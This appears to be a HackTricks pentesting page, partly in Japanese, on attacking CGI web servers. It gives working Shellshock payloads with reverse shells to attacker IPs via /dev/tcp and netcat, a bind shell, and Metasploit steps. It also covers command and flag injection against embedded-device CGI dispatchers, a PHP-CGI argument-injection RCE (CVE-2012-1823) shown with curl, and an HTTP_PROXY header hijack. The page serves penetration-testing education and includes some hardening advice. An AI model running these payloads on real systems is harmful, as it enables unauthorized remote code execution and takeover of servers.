CGI Pentesting

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

情報

The CGI scripts are perl scripts。そのため、.cgi スクリプトを実行できるサーバを侵害している場合、upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl)、change the extension.pl から .cgi にし、execute permissions (chmod +x) を付与して、access the reverse shell from the web browser して実行できます。
CGI vulns をテストするためには、nikto -C all (and all the plugins) の使用が推奨されます。

ShellShock

ShellShock は、Unix 系オペレーティングシステムで広く使われている Bash コマンドラインシェルに影響を与える vulnerability です。これは、アプリケーションから渡されたコマンドを Bash が実行する能力を狙うものです。脆弱性は、プロセスの実行に影響を与える動的な名前付き値である environment variables の操作にあります。攻撃者は environment variablesmalicious code を付加してこれを悪用し、変数が受信される際に実行させることができます。これによりシステムが侵害される可能性があります。

Exploiting this vulnerability the page could throw an error

この脆弱性は、old Apache versioncgi_mod (with cgi folder) を使用していることに気づくことで find できる場合があり、あるいは nikto を使って検出できます。

テスト

ほとんどのテストは、何かを echo して、その文字列が web response に返されることを期待するものです。ページが脆弱であると思われる場合は、すべての cgi pages を検索してテストしてください。

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

中央集約型 CGI ディスパッチャ(セレクタパラメータによる単一エンドポイントルーティング)

多くの組み込み Web UI は、単一の CGI エンドポイント(例えば、/cgi-bin/cstecgi.cgi)の背後で多数の特権アクションを多重化し、topicurl=<handler> のようなセレクタパラメータを使ってリクエストを内部関数にルーティングします。

これらのルータを悪用するための手順:

  • Enumerate handler names: JS/HTML をスクレイピング、wordlists を使った brute-force、または firmware を unpack して dispatcher が使う handler 文字列を grep する。
  • Test unauthenticated reachability: 一部のハンドラは auth チェックを忘れており、直接呼び出せる場合がある。
  • Focus on handlers that invoke system utilities or touch files; 脆弱なバリデータは少数の文字だけをブロックし、先頭のハイフン - を見落とすことがある。

Generic exploit shapes:

http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

検出とハードニング:

  • 中央集約された CGI エンドポイントへの未認証リクエストで、topicurl が機密ハンドラに設定されているものに注意する。
  • 先頭が - のパラメータをフラグ付けする(argv option injection attempts)。
  • ベンダー: すべての状態を変更するハンドラで認証を強制し、厳格な allowlists/types/lengths を使って検証し、ユーザ制御の文字列をコマンドラインフラグとして渡さないこと。

古い PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

基本的に cgi がアクティブで php が「古い」(<5.3.12 / < 5.4.2) 場合、コードを実行できます。 この脆弱性を悪用するには、パラメータを送らず (特に文字 "=" を送らない) にウェブサーバの PHP ファイルにアクセスする必要があります。 次に、この脆弱性をテストするには、例えば /index.php?-s ( -s に注意) にアクセスすると、アプリケーションのソースコードがレスポンスに表示されます

さらに、RCE を得るにはこの特別なクエリを送信できます: /?-d allow_url_include=1 -d auto_prepend_file=php://input そして実行する PHP コードリクエストのボディ。 例:

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

vuln と possible exploits に関する詳しい情報: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM to Web server requests)

CGI は http リクエストの各ヘッダごとに環境変数を作成します。例えば: "host:web.com" は "HTTP_HOST"="web.com" として作成されます。

HTTP_PROXY 変数が web server によって使用される可能性があるため、header に "Proxy: <IP_attacker>:<PORT>" を含めて送信してみてください。セッション中にサーバが何らかのリクエストを実行すれば、サーバが行う各リクエストをキャプチャできます。

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする